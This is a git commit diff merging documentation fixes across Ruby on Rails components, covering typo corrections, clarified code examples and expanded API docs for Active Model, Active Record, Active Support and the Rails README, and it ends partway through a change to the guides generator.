Merge docrails

This commit is contained in:
Pratik Naik 2010-01-17 03:26:20 +05:30
parent 6e3bee6cf1
commit dba196cb7f
58 changed files with 4722 additions and 1208 deletions

View File

@ -36,7 +36,7 @@ module ActionMailer #:nodoc:
# * <tt>cc</tt> - Takes one or more email addresses. These addresses will receive a carbon copy of your email. Sets the <tt>Cc:</tt> header.
# * <tt>bcc</tt> - Takes one or more email addresses. These addresses will receive a blind carbon copy of your email. Sets the <tt>Bcc:</tt> header.
# * <tt>reply_to</tt> - Takes one or more email addresses. These addresses will be listed as the default recipients when replying to your email. Sets the <tt>Reply-To:</tt> header.
# * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header wil be set by the delivery agent.
# * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header will be set by the delivery agent.
# * <tt>content_type</tt> - Specify the content type of the message. Defaults to <tt>text/plain</tt>.
# * <tt>headers</tt> - Specify additional headers to be set for the message, e.g. <tt>headers 'X-Mail-Count' => 107370</tt>.
#

View File

@ -1,7 +1,7 @@
module ActionController #:nodoc:
# Responder is responsible to expose a resource for different mime requests,
# Responder is responsible for exposing a resource to different mime requests,
# usually depending on the HTTP verb. The responder is triggered when
# respond_with is called. The simplest case to study is a GET request:
# <code>respond_with</code> is called. The simplest case to study is a GET request:
#
# class PeopleController < ApplicationController
# respond_to :html, :xml, :json
@ -12,17 +12,17 @@ module ActionController #:nodoc:
# end
# end
#
# When a request comes, for example with format :xml, three steps happen:
# When a request comes in, for example for an XML response, three steps happen:
#
# 1) responder searches for a template at people/index.xml;
# 1) the responder searches for a template at people/index.xml;
#
# 2) if the template is not available, it will invoke :to_xml in the given resource;
# 2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
#
# 3) if the responder does not respond_to :to_xml, call :to_format on it.
# 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
#
# === Builtin HTTP verb semantics
#
# Rails default responder holds semantics for each HTTP verb. Depending on the
# The default Rails responder holds semantics for each HTTP verb. Depending on the
# content type, verb and the resource status, it will behave differently.
#
# Using Rails default responder, a POST request for creating an object could
@ -55,7 +55,7 @@ module ActionController #:nodoc:
#
# === Nested resources
#
# You can given nested resource as you do in form_for and polymorphic_url.
# You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
# Consider the project has many tasks example. The create action for
# TasksController would be like:
#
@ -67,15 +67,15 @@ module ActionController #:nodoc:
# end
#
# Giving an array of resources, you ensure that the responder will redirect to
# project_task_url instead of task_url.
# <code>project_task_url</code> instead of <code>task_url</code>.
#
# Namespaced and singleton resources requires a symbol to be given, as in
# Namespaced and singleton resources require a symbol to be given, as in
# polymorphic urls. If a project has one manager which has many tasks, it
# should be invoked as:
#
# respond_with(@project, :manager, @task)
#
# Check polymorphic_url documentation for more examples.
# Check <code>polymorphic_url</code> documentation for more examples.
#
class Responder
attr_reader :controller, :request, :format, :resource, :resources, :options
@ -126,7 +126,7 @@ module ActionController #:nodoc:
navigation_behavior(e)
end
# All others formats follow the procedure below. First we try to render a
# All other formats follow the procedure below. First we try to render a
# template, if the template is not available, we verify if the resource
# responds to :to_format and display it.
#
@ -183,11 +183,11 @@ module ActionController #:nodoc:
@default_response.call
end
# display is just a shortcut to render a resource with the current format.
# Display is just a shortcut to render a resource with the current format.
#
# display @user, :status => :ok
#
# For xml request is equivalent to:
# For XML requests it's equivalent to:
#
# render :xml => @user, :status => :ok
#
@ -204,14 +204,14 @@ module ActionController #:nodoc:
controller.render given_options.merge!(options).merge!(format => resource)
end
# Check if the resource has errors or not.
# Check whether the resource has errors.
#
def has_errors?
resource.respond_to?(:errors) && !resource.errors.empty?
end
# By default, render the :edit action for html requests with failure, unless
# the verb is post.
# By default, render the <code>:edit</code> action for HTML requests with failure, unless
# the verb is POST.
#
def default_action
@action ||= ACTIONS_FOR_VERBS[request.method]

View File

@ -193,9 +193,10 @@ module ActionDispatch
#
# With conditions you can define restrictions on routes. Currently the only valid condition is <tt>:method</tt>.
#
# * <tt>:method</tt> - Allows you to specify which method can access the route. Possible values are <tt>:post</tt>,
# <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. The default value is <tt>:any</tt>,
# <tt>:any</tt> means that any method can access the route.
# * <tt>:method</tt> - Allows you to specify which HTTP method(s) can access the route. Possible values are
# <tt>:post</tt>, <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. Use an array to specify more
# than one method, e.g. <tt>[ :get, :post ]</tt>. The default value is <tt>:any</tt>, <tt>:any</tt> means that any
# method can access the route.
#
# Example:
#

View File

@ -12,29 +12,29 @@ module ActionDispatch
# and a :method containing the required HTTP verb.
#
# # assert that POSTing to /items will call the create action on ItemsController
# assert_recognizes {:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post}
# assert_recognizes({:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post})
#
# You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used
# to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the
# extras argument, appending the query string on the path directly will not work. For example:
#
# # assert that a path of '/items/list/1?view=print' returns the correct options
# assert_recognizes {:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" }
# assert_recognizes({:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" })
#
# The +message+ parameter allows you to pass in an error message that is displayed upon failure.
#
# ==== Examples
# # Check the default route (i.e., the index action)
# assert_recognizes {:controller => 'items', :action => 'index'}, 'items'
# assert_recognizes({:controller => 'items', :action => 'index'}, 'items')
#
# # Test a specific action
# assert_recognizes {:controller => 'items', :action => 'list'}, 'items/list'
# assert_recognizes({:controller => 'items', :action => 'list'}, 'items/list')
#
# # Test an action with a parameter
# assert_recognizes {:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1'
# assert_recognizes({:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1')
#
# # Test a custom route
# assert_recognizes {:controller => 'items', :action => 'show', :id => '1'}, 'view/item1'
# assert_recognizes({:controller => 'items', :action => 'show', :id => '1'}, 'view/item1')
#
# # Check a Simply RESTful generated route
# assert_recognizes list_items_url, 'items/list'
@ -103,7 +103,7 @@ module ActionDispatch
# assert_routing '/home', :controller => 'home', :action => 'index'
#
# # Test a route generated with a specific controller, action, and parameter (id)
# assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', id => 23
# assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', :id => 23
#
# # Assert a basic route (controller + default action), with an error message if it fails
# assert_routing '/store', { :controller => 'store', :action => 'index' }, {}, {}, 'Route for store index not generated properly'
@ -112,7 +112,7 @@ module ActionDispatch
# assert_routing 'controller/action/9', {:id => "9", :item => "square"}, {:controller => "controller", :action => "action"}, {}, {:item => "square"}
#
# # Tests a route with a HTTP method
# assert_routing { :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" }
# assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
def assert_routing(path, options, defaults={}, extras={}, message=nil)
assert_recognizes(options, path, extras, message)

View File

@ -55,6 +55,9 @@ module ActionView
# * Any other key creates standard HTML attributes for the tag.
#
# ==== Examples
# select_tag "people", options_from_collection_for_select(@people, "name", "id")
# # <select id="people" name="people"><option value="1">David</option></select>
#
# select_tag "people", "<option>David</option>"
# # => <select id="people" name="people"><option>David</option></select>
#

View File

@ -22,7 +22,7 @@ module ActionView
#
# Custom Use (only the mentioned tags and attributes are allowed, nothing else)
#
# <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style)
# <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style) %>
#
# Add table tags to the default allowed tags
#

View File

@ -226,8 +226,7 @@ module ActionView
# Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
#
# You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
# <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
# is available</i>.
# <i>This method is only available if RedCloth[http://redcloth.org/] is available</i>.
#
# ==== Examples
# textilize("*This is Textile!* Rejoice!")
@ -263,8 +262,7 @@ module ActionView
# but without the bounding <p> tag that RedCloth adds.
#
# You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
# <i>This method is requires RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
# to be available</i>.
# <i>This method is only available if RedCloth[http://redcloth.org/] is available</i>.
#
# ==== Examples
# textilize_without_paragraph("*This is Textile!* Rejoice!")

View File

@ -1,21 +1,57 @@
Active Model
==============
= Active Model - defined interfaces for Rails
Totally experimental library that aims to extract common model mixins from
ActiveRecord for use in ActiveResource (and other similar libraries).
This is in a very rough state (no autotest or spec rake tasks set up yet),
so please excuse the mess.
Prior to Rails 3.0, if a plugin or gem developer wanted to be able to have
an object interact with Action Pack helpers, it was required to either
copy chunks of code from Rails, or monkey patch entire helpers to make them
handle objects that did not look like Active Record. This generated code
duplication and fragile applications that broke on upgrades.
Here's what I plan to extract:
* ActiveModel::Observing
* ActiveModel::Callbacks
* ActiveModel::Validations
Active Model is a solution for this problem.
# for ActiveResource params and ActiveRecord options
* ActiveModel::Scoping
Active Model provides a known set of interfaces that your objects can implement
to then present a common interface to the Action Pack helpers. You can include
functionality from the following modules:
# to_json, to_xml, etc
* ActiveModel::Serialization
* Adding callbacks to your class
class MyClass
extend ActiveModel::Callbacks
define_model_callbacks :create
def create
_run_create_callbacks do
# Your create action methods here
end
end
end
...gives you before_create, around_create and after_create class methods that
wrap your create method.
{Learn more}[link:classes/ActiveModel/CallBacks.html]
* For classes that already look like an Active Record object
class MyClass
include ActiveModel::Conversion
end
...returns the class itself when sent :to_model
* Tracking changes in your object
Provides all the value tracking features implemented by ActiveRecord...
person = Person.new
person.name # => nil
person.changed? # => false
person.name = 'bob'
person.changed? # => true
person.changed # => ['name']
person.changes # => { 'name' => [nil, 'bob'] }
person.name = 'robert'
person.save
person.previous_changes # => {'name' => ['bob, 'robert']}
{Learn more}[link:classes/ActiveModel/Dirty.html]
I'm trying to keep ActiveRecord compatibility where possible, but I'm
annotating the spots where I'm diverging a bit.

View File

@ -1,6 +1,52 @@
require 'active_support/callbacks'
module ActiveModel
# == Active Model Callbacks
#
# Provides an interface for any class to have Active Record like callbacks.
#
# Like the Active Record methods, the call back chain is aborted as soon as
# one of the methods in the chain returns false.
#
# First, extend ActiveModel::Callbacks from the class you are creating:
#
# class MyModel
# extend ActiveModel::Callbacks
# end
#
# Then define a list of methods that you want call backs attached to:
#
# define_model_callbacks :create, :update
#
# This will provide all three standard callbacks (before, around and after) around
# both the :create and :update methods. To implement, you need to wrap the methods
# you want call backs on in a block so that the call backs get a chance to fire:
#
# def create
# _run_create_callbacks do
# # Your create action methods here
# end
# end
#
# The _run_<method_name>_callbacks methods are dynamically created when you extend
# the <tt>ActiveModel::Callbacks</tt> module.
#
# Then in your class, you can use the +before_create+, +after_create+ and +around_create+
# methods, just as you would in an Active Record module.
#
# before_create :action_before_create
#
# def action_before_create
# # Your code here
# end
#
# You can choose not to have all three callbacks by passing an hash to the
# define_model_callbacks method.
#
# define_model_callbacks :create, :only => :after, :before
#
# Would only create the after_create and before_create callback methods in your
# class.
module Callbacks
def self.extended(base)
base.class_eval do
@ -8,43 +54,39 @@ module ActiveModel
end
end
# Define callbacks similar to ActiveRecord ones. It means:
#
# * The callback chain is aborted whenever the block given to
# _run_callbacks returns false.
#
# * If a class is given to the fallback, it will search for
# before_create, around_create and after_create methods.
#
# == Usage
#
# First you need to define which callbacks your model will have:
#
# class MyModel
# define_model_callbacks :create
# end
#
# This will define three class methods: before_create, around_create,
# and after_create. They accept a symbol, a string, an object or a block.
#
# After you create a callback, you need to tell when they are executed.
# For example, you could do:
#
# def create
# _run_create_callbacks do
# super
# end
# end
#
# == Options
#
# define_model_callbacks accepts all options define_callbacks does, in
# case you want to overwrite a default. Besides that, it also accepts
# an :only option, where you can choose if you want all types (before,
# around or after) or just some:
# define_model_callbacks accepts all options define_callbacks does, in case you
# want to overwrite a default. Besides that, it also accepts an :only option,
# where you can choose if you want all types (before, around or after) or just some.
#
# define_model_callbacks :initializer, :only => :after
#
#
# Note, the <tt>:only => <type></tt> hash will apply to all callbacks defined on
# that method call. To get around this you can call the define_model_callbacks
# method as many times as you need.
#
# define_model_callbacks :create, :only => :after
# define_model_callbacks :update, :only => :before
# define_model_callbacks :destroy, :only => :around
#
# Would create +after_create+, +before_update+ and +around_destroy+ methods only.
#
# You can pass in a class to before_<type>, after_<type> and around_<type>, in which
# case the call back will call that class's <action>_<type> method passing the object
# that the callback is being called on.
#
# class MyModel
# extend ActiveModel::Callbacks
# define_model_callbacks :create
#
# before_create AnotherClass
# end
#
# class AnotherClass
# def self.before_create( obj )
# # obj is the MyModel instance that the callback is being called on
# end
# end
#
def define_model_callbacks(*callbacks)
options = callbacks.extract_options!
options = { :terminator => "result == false", :scope => [:kind, :name] }.merge(options)

View File

@ -1,5 +1,16 @@
module ActiveModel
# Include ActiveModel::Conversion if your object "acts like an ActiveModel model".
# If your object is already designed to implement all of the Active Model featurs
# include this module in your Class.
#
# class MyClass
# include ActiveModel::Conversion
# end
#
# Returns self to the <tt>:to_model</tt> method.
#
# If your model does not act like an Active Model object, then you should define
# <tt>:to_model</tt> yourself returning a proxy object that wraps your object
# with Active Model compliant methods.
module Conversion
def to_model
self

View File

@ -1,5 +1,43 @@
module ActiveModel
# Track unsaved attribute changes.
# <tt>ActiveModel::Dirty</tt> provides a way to track changes in your
# object in the same way as ActiveRecord does.
#
# The requirements to implement ActiveModel::Dirty are:
#
# * <tt>include ActiveModel::Dirty</tt> in your object
# * Call <tt>define_attribute_methods</tt> passing each method you want to track
# * Call <tt>attr_name_will_change!</tt> before each change to the tracked attribute
#
# If you wish to also track previous changes on save or update, you need to add
#
# @previously_changed = changes
#
# inside of your save or update method.
#
# A minimal implementation could be:
#
# class Person
#
# include ActiveModel::Dirty
#
# define_attribute_methods [:name]
#
# def name
# @name
# end
#
# def name=(val)
# name_will_change!
# @name = val
# end
#
# def save
# @previously_changed = changes
# end
#
# end
#
# == Examples:
#
# A newly instantiated object is unchanged:
# person = Person.find_by_name('Uncle Bob')

View File

@ -57,13 +57,13 @@ module ActiveModel
#
# class Person < ActiveRecord::Base
# validates_length_of :first_name, :maximum=>30
# validates_length_of :last_name, :maximum=>30, :message=>"less than {{count}} if you don't mind"
# validates_length_of :last_name, :maximum=>30, :message=>"less than 30 if you don't mind"
# validates_length_of :fax, :in => 7..32, :allow_nil => true
# validates_length_of :phone, :in => 7..32, :allow_blank => true
# validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
# validates_length_of :fav_bra_size, :minimum => 1, :too_short => "please enter at least {{count}} character"
# validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with {{count}} characters... don't play me."
# validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least {{count}} words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
# validates_length_of :zip_code, :minimum => 5, :too_short => "please enter at least 5 characters"
# validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with 4 characters... don't play me."
# validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least 100 words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
# end
#
# Configuration options:

View File

@ -774,13 +774,12 @@ module ActiveRecord
# [collection.build(attributes = {}, ...)]
# Returns one or more new objects of the collection type that have been instantiated
# with +attributes+ and linked to this object through a foreign key, but have not yet
# been saved. <b>Note:</b> This only works if an associated object already exists, not if
# it's +nil+!
# been saved.
# [collection.create(attributes = {})]
# Returns a new object of the collection type that has been instantiated
# with +attributes+, linked to this object through a foreign key, and that has already
# been saved (if it passed the validation). <b>Note:</b> This only works if an associated
# object already exists, not if it's +nil+!
# been saved (if it passed the validation). *Note*: This only works if the base model
# already exists in the DB, not if it is a new (unsaved) record!
#
# (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
# <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
@ -1040,7 +1039,6 @@ module ActiveRecord
# A Post class declares <tt>belongs_to :author</tt>, which will add:
# * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
# * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
# * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
# * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
# * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
# The declaration can also include an options hash to specialize the behavior of the association.

View File

@ -1724,10 +1724,10 @@ module ActiveRecord #:nodoc:
# class Article < ActiveRecord::Base
# def self.find_with_scope
# with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }, :create => { :blog_id => 1 }) do
# with_scope(:find => { :limit => 10 })
# with_scope(:find => { :limit => 10 }) do
# find(:all) # => SELECT * from articles WHERE blog_id = 1 LIMIT 10
# end
# with_scope(:find => { :conditions => "author_id = 3" })
# with_scope(:find => { :conditions => "author_id = 3" }) do
# find(:all) # => SELECT * from articles WHERE blog_id = 1 AND author_id = 3 LIMIT 1
# end
# end

View File

@ -335,7 +335,6 @@ end
# george:
# id: 1
# name: George the Monkey
# pirate_id: 1
#
# ### in fruits.yml
#
@ -370,8 +369,8 @@ end
# ### in monkeys.yml
#
# george:
# id: 1
# name: George the Monkey
# pirate: reginald
# fruits: apple, orange, grape
#
# ### in fruits.yml

View File

@ -1,7 +1,8 @@
require 'active_support/core_ext/object/metaclass'
module ActiveRecord
class IrreversibleMigration < ActiveRecordError#:nodoc:
# Exception that can be raised to stop migrations from going backwards.
class IrreversibleMigration < ActiveRecordError
end
class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:

View File

@ -49,14 +49,14 @@ module ActiveRecord
# create the member and avatar in one go:
#
# params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } }
# member = Member.create(params)
# member = Member.create(params[:member])
# member.avatar.id # => 2
# member.avatar.icon # => 'smiling'
#
# It also allows you to update the avatar through the member:
#
# params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
# member.update_attributes params['member']
# params = { :member => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
# member.update_attributes params[:member]
# member.avatar.icon # => 'sad'
#
# By default you will only be able to set and update attributes on the
@ -75,7 +75,7 @@ module ActiveRecord
# member.avatar_attributes = { :id => '2', :_destroy => '1' }
# member.avatar.marked_for_destruction? # => true
# member.save
# member.avatar #=> nil
# member.reload.avatar #=> nil
#
# Note that the model will _not_ be destroyed until the parent is saved.
#
@ -179,7 +179,7 @@ module ActiveRecord
# member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
# member.posts.length #=> 2
# member.save
# member.posts.length # => 1
# member.reload.posts.length # => 1
#
# === Saving
#

View File

@ -42,6 +42,13 @@ module ActiveResource
# self.element_name = "person"
# end
#
# If your Active Resource object is required to use an HTTP proxy you can set the +proxy+ value which holds a URI.
#
# class PersonResource < ActiveResource::Base
# self.site = "http://api.people.com:3000/"
# self.proxy = "http://user:password@proxy.people.com:8080"
# end
#
#
# == Lifecycle methods
#

View File

@ -531,7 +531,7 @@ module ActiveSupport
# to change this behavior.
#
# * <tt>:scope</tt> - Show which methods should be executed when a class
# is giben as callback:
# is given as callback:
#
# define_callbacks :filters, :scope => [ :kind ]
#

View File

@ -4,7 +4,7 @@ class Array
# %w( a b c d ).from(0) # => %w( a b c d )
# %w( a b c d ).from(2) # => %w( c d )
# %w( a b c d ).from(10) # => nil
# %w().from(0) # => nil
# %w().from(0) # => %w()
def from(position)
self[position..-1]
end

View File

@ -1,6 +1,15 @@
class Array
# Wraps the object in an Array unless it's an Array. Converts the
# object to an Array using #to_ary if it implements that.
#
# It differs with Array() in that it does not call +to_a+ on
# the argument:
#
# Array(:foo => :bar) # => [[:foo, :bar]]
# Array.wrap(:foo => :bar) # => [{:foo => :bar}]
#
# Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8
# Array.wrap("foo\nbar") # => ["foo\nbar"]
def self.wrap(object)
if object.nil?
[]

View File

@ -69,6 +69,54 @@ class Hash
)
end
# Returns a string containing an XML representation of its receiver:
#
# {"foo" => 1, "bar" => 2}.to_xml
# # =>
# # <?xml version="1.0" encoding="UTF-8"?>
# # <hash>
# # <foo type="integer">1</foo>
# # <bar type="integer">2</bar>
# # </hash>
#
# To do so, the method loops over the pairs and builds nodes that depend on
# the _values_. Given a pair +key+, +value+:
#
# * If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
#
# * If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>,
# and +key+ singularized as <tt>:children</tt>.
#
# * If +value+ is a callable object it must expect one or two arguments. Depending
# on the arity, the callable is invoked with the +options+ hash as first argument
# with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its
# return value becomes a new node.
#
# * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
#
# * Otherwise, a node with +key+ as tag is created with a string representation of
# +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
# Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is
# added as well according to the following mapping:
#
# XML_TYPE_NAMES = {
# "Symbol" => "symbol",
# "Fixnum" => "integer",
# "Bignum" => "integer",
# "BigDecimal" => "decimal",
# "Float" => "float",
# "TrueClass" => "boolean",
# "FalseClass" => "boolean",
# "Date" => "date",
# "DateTime" => "datetime",
# "Time" => "datetime"
# }
#
# By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
#
# The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can
# configure your own builder with the <tt>:builder</tt> option. The method also accepts
# options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
def to_xml(options = {})
require 'builder' unless defined?(Builder)

View File

@ -3,6 +3,14 @@ class Hash
# limiting a set of parameters to everything but a few known toggles:
#
# @person.update_attributes(params[:person].except(:admin))
#
# If the receiver responds to +convert_key+, the method is called on each of the
# arguments. This allows +except+ to play nice with hashes with indifferent access
# for instance:
#
# {:a => 1}.with_indifferent_access.except(:a) # => {}
# {:a => 1}.with_indifferent_access.except("a") # => {}
#
def except(*keys)
dup.except!(*keys)
end

View File

@ -1,6 +1,11 @@
require 'active_support/hash_with_indifferent_access'
class Hash
# Returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
#
# {:a => 1}.with_indifferent_access["a"] # => 1
#
def with_indifferent_access
hash = ActiveSupport::HashWithIndifferentAccess.new(self)
hash.default = self.default

View File

@ -15,7 +15,8 @@ class Hash
self
end
# Return a new hash with all keys converted to symbols.
# Return a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+.
def symbolize_keys
inject({}) do |options, (key, value)|
options[(key.to_sym rescue key) || key] = value
@ -23,7 +24,8 @@ class Hash
end
end
# Destructively convert all keys to symbols.
# Destructively convert all keys to symbols, as long as they respond
# to +to_sym+.
def symbolize_keys!
self.replace(self.symbolize_keys)
end

View File

@ -1,3 +1,19 @@
# Most objects are cloneable, but not all. For example you can't dup +nil+:
#
# nil.dup # => TypeError: can't dup NilClass
#
# Classes may signal their instances are not duplicable removing +dup+/+clone+
# or raising exceptions from them. So, to dup an arbitrary object you normally
# use an optimistic approach and are ready to catch an exception, say:
#
# arbitrary_object.dup rescue object
#
# Rails dups objects in a few critical spots where they are not that arbitrary.
# That rescue is very expensive (like 40 times slower than a predicate), and it
# is often triggered.
#
# That's why we hardcode the following cases and check duplicable? instead of
# using that rescue idiom.
class Object
# Can you safely .dup this object?
# False for nil, false, true, symbols, numbers, class and module objects; true otherwise.

View File

@ -2,7 +2,10 @@ require 'active_support/core_ext/kernel/reporting'
# Fixes the rexml vulnerability disclosed at:
# http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
# This fix is identical to rexml-expansion-fix version 1.0.1
# This fix is identical to rexml-expansion-fix version 1.0.1.
#
# We still need to distribute this fix because albeit the REXML
# in recent 1.8.7s is patched, it wasn't in early patchlevels.
require 'rexml/rexml'
# Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION

View File

@ -7,7 +7,7 @@ class String
# Examples:
# "hello".at(0) # => "h"
# "hello".at(4) # => "o"
# "hello".at(10) # => nil
# "hello".at(10) # => ERROR if < 1.9, nil in 1.9
def at(position)
mb_chars[position, 1].to_s
end
@ -17,7 +17,7 @@ class String
# Examples:
# "hello".from(0) # => "hello"
# "hello".from(2) # => "llo"
# "hello".from(10) # => nil
# "hello".from(10) # => "" if < 1.9, nil in 1.9
def from(position)
mb_chars[position..-1].to_s
end

View File

@ -385,7 +385,7 @@ module ActiveSupport #:nodoc:
# Convert characters in the string to uppercase.
#
# Example:
# 'Laurent, òu sont les tests?'.mb_chars.upcase.to_s #=> "LAURENT, ÒU SONT LES TESTS?"
# 'Laurent, où sont les tests ?'.mb_chars.upcase.to_s #=> "LAURENT, OÙ SONT LES TESTS ?"
def upcase
apply_mapping :uppercase_mapping
end

View File

@ -1,7 +1,7 @@
== Welcome to Rails
Rails is a web-application framework that includes everything needed to create
database-backed web applications according to the Model-View-Control pattern.
Rails is a web-application framework that includes everything needed to create
database-backed web applications according to the Model-View-Control pattern.
This pattern splits the view (also called the presentation) into "dumb" templates
that are primarily responsible for inserting pre-built data in between HTML tags.
@ -46,9 +46,9 @@ getting up and running with mongrel is as easy as: <tt>gem install mongrel</tt>.
More info at: http://mongrel.rubyforge.org
Other ruby web servers exist which can run your rails application, however script/server does
not search for them or start them. These include Thin, Ebb, and Apache with mod_rails.
not search for them or start them. These include {Thin}[http://code.macournoyer.com/thin/], {Ebb}[http://ebb.rubyforge.org/], and Apache with {mod_rails}[http://www.modrails.com/].
For production use, often a web/proxy server such as Apache, LiteSpeed, Lighttpd or IIS is
For production use, often a web/proxy server such as {Apache}[http://apache.org], {Nginx}[http://nginx.net/], {LiteSpeed}[http://litespeedtech.com/], {Lighttpd}[http://www.lighttpd.net/] or {IIS}[http://www.iis.net/] is
deployed as the front-end server, with the chosen ruby web server running in the back-end
and receiving the proxied requests via one of several protocols (HTTP, CGI, FCGI).
@ -131,7 +131,7 @@ and also on programming in general.
Debugger support is available through the debugger command when you start your Mongrel or
Webrick server with --debugger. This means that you can break out of execution at any point
in the code, investigate and change the model, AND then resume execution!
in the code, investigate and change the model, AND then resume execution!
You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'
Example:
@ -163,13 +163,20 @@ Finally, when you're ready to resume execution, you enter "cont"
== Console
You can interact with the domain model by starting the console through <tt>script/console</tt>.
Here you'll have all parts of the application configured, just like it is when the
The console is a ruby shell, which allows you to interact with your application's domain
model. Here you'll have all parts of the application configured, just like it is when the
application is running. You can inspect domain models, change values, and save to the
database. Starting the script without arguments will launch it in the development environment.
Passing an argument will specify a different environment, like <tt>script/console production</tt>.
To reload your controllers and models after launching the console run <tt>reload!</tt>
To start the console, just run <tt>script/console</tt> from the application directory.
Options:
* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications made to the database.
* Passing an environment name as an argument will load the corresponding environment.
Example: <tt>script/console production</tt>.
More information about irb can be found at link:http://www.rubycentral.com/pickaxe/irb.html
== dbconsole
@ -181,6 +188,43 @@ Currently works for mysql, postgresql and sqlite.
== Description of Contents
The default directory structure of a generated Ruby on Rails applicartion:
|-- app
| |-- controllers
| |-- helpers
| |-- models
| `-- views
| `-- layouts
|-- config
| |-- environments
| |-- initializers
| `-- locales
|-- db
|-- doc
|-- lib
| `-- tasks
|-- log
|-- public
| |-- images
| |-- javascripts
| `-- stylesheets
|-- script
| `-- performance
|-- test
| |-- fixtures
| |-- functional
| |-- integration
| |-- performance
| `-- unit
|-- tmp
| |-- cache
| |-- pids
| |-- sessions
| `-- sockets
`-- vendor
`-- plugins
app
Holds all the code that's specific to this particular application.

View File

@ -1,5 +1,8 @@
pwd = File.dirname(__FILE__)
$: << pwd
$:.unshift pwd
# Loading Action Pack requires rack and erubis.
require 'rubygems'
begin
as_lib = File.join(pwd, "../../activesupport/lib")
@ -11,7 +14,6 @@ begin
require "action_controller"
require "action_view"
rescue LoadError
require 'rubygems'
gem "actionpack", '>= 2.3'
require "action_controller"
@ -19,7 +21,6 @@ rescue LoadError
end
begin
require 'rubygems'
gem 'RedCloth', '>= 4.1.1'
rescue Gem::LoadError
$stderr.puts %(Generating Guides requires RedCloth 4.1.1+)
@ -29,11 +30,11 @@ end
require 'redcloth'
module RailsGuides
autoload :Generator, "rails_guides/generator"
autoload :Indexer, "rails_guides/indexer"
autoload :Helpers, "rails_guides/helpers"
autoload :Generator, "rails_guides/generator"
autoload :Indexer, "rails_guides/indexer"
autoload :Helpers, "rails_guides/helpers"
autoload :TextileExtensions, "rails_guides/textile_extensions"
autoload :Levenshtein, "rails_guides/levenshtein"
autoload :Levenshtein, "rails_guides/levenshtein"
end
RedCloth.send(:include, RailsGuides::TextileExtensions)

View File

@ -1,5 +1,11 @@
require 'set'
class String
def html_safe!
self
end unless "post 9415935902f120a9bac0bfce7129725a0db38ed3".respond_to?(:html_safe!)
end
module RailsGuides
class Generator
attr_reader :output, :view_path, :view, :guides_dir
@ -18,7 +24,7 @@ module RailsGuides
end
def generate
guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ }
guides = Dir.entries(view_path).find_all {|g| g =~ /\.textile(?:\.erb)?$/ }
if ENV["ONLY"]
only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" }
@ -36,7 +42,7 @@ module RailsGuides
end
def generate_guide(guide)
guide =~ /(.*?)(\.erb)?\.textile/
